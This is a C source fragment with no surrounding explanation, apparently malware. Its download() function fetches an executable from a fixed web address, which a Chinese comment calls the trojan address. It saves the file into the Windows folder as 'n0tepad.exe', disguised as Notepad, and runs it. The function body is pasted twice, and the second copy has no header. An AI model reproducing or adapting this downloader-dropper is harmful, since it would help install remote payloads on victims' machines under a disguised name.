void download()
{
DWORD dwStatusCode;
char dwStatusCode1[32];
DWORD dwSize1 = sizeof(dwStatusCode1);
DWORD dwSize = sizeof(DWORD);
int filesize;
LPCSTR localPatch="c://windows//n0tepad.exe";
HINTERNET hNet =InternetOpen("download",INTERNET_OPEN_TYPE_PRECONFIG,NULL,
INTERNET_INVALID_PORT_NUMBER,0) ;
HINTERNET hUrlFile
=InternetOpenUrl(hNet," http://www.netcicala.com/tools/test.exe",//这里就是木马地址
NULL,0,INTERNET_FLAG_NO_AUTO_REDIRECT,0) ;
BOOL bRet=HttpQueryInfo(hUrlFile,
HTTP_QUERY_STATUS_CODE|HTTP_QUERY_FLAG_NUMBER, &dwStatusCode,
&dwSize,
NULL);
// if (bRet==true);
if(200!=dwStatusCode)
{
return;
}
if(HttpQueryInfo(hUrlFile, HTTP_QUERY_CONTENT_LENGTH,
&dwStatusCode1,&dwSize1,NULL))
{
filesize=atoi(dwStatusCode1);
}
HANDLE hDownFile=CreateFile(localPatch,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(INVALID_HANDLE_VALUE==hDownFile)
{ return;}
DWORD dwWrite;
DWORD dwBytesRead = 0;
char buffer[1];
DWORD dwSurplus=filesize%sizeof(buffer);
while(1)
{
BOOL bRead =InternetReadFile(hUrlFile,buffer,sizeof(buffer),&dwBytesRead);
if(dwBytesRead==0)
{
break;
}
WriteFile(hDownFile,buffer,sizeof(buffer),&dwWrite,NULL);
}
InternetCloseHandle(hUrlFile) ;
InternetCloseHandle(hNet) ;
CloseHandle(hDownFile);
Sleep(100);
WinExec(localPatch,SW_SHOW);
}
{
DWORD dwStatusCode;
char dwStatusCode1[32];
DWORD dwSize1 = sizeof(dwStatusCode1);
DWORD dwSize = sizeof(DWORD);
int filesize;
LPCSTR localPatch="c://windows//n0tepad.exe";
HINTERNET hNet =InternetOpen("download",INTERNET_OPEN_TYPE_PRECONFIG,NULL,
INTERNET_INVALID_PORT_NUMBER,0) ;
HINTERNET hUrlFile
=InternetOpenUrl(hNet," http://www.netcicala.com/tools/test.exe",//这里就是木马地址
NULL,0,INTERNET_FLAG_NO_AUTO_REDIRECT,0) ;
BOOL bRet=HttpQueryInfo(hUrlFile,
HTTP_QUERY_STATUS_CODE|HTTP_QUERY_FLAG_NUMBER, &dwStatusCode,
&dwSize,
NULL);
// if (bRet==true);
if(200!=dwStatusCode)
{
return;
}
if(HttpQueryInfo(hUrlFile, HTTP_QUERY_CONTENT_LENGTH,
&dwStatusCode1,&dwSize1,NULL))
{
filesize=atoi(dwStatusCode1);
}
HANDLE hDownFile=CreateFile(localPatch,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(INVALID_HANDLE_VALUE==hDownFile)
{ return;}
DWORD dwWrite;
DWORD dwBytesRead = 0;
char buffer[1];
DWORD dwSurplus=filesize%sizeof(buffer);
while(1)
{
BOOL bRead =InternetReadFile(hUrlFile,buffer,sizeof(buffer),&dwBytesRead);
if(dwBytesRead==0)
{
break;
}
WriteFile(hDownFile,buffer,sizeof(buffer),&dwWrite,NULL);
}
InternetCloseHandle(hUrlFile) ;
InternetCloseHandle(hNet) ;
CloseHandle(hDownFile);
Sleep(100);
WinExec(localPatch,SW_SHOW);
}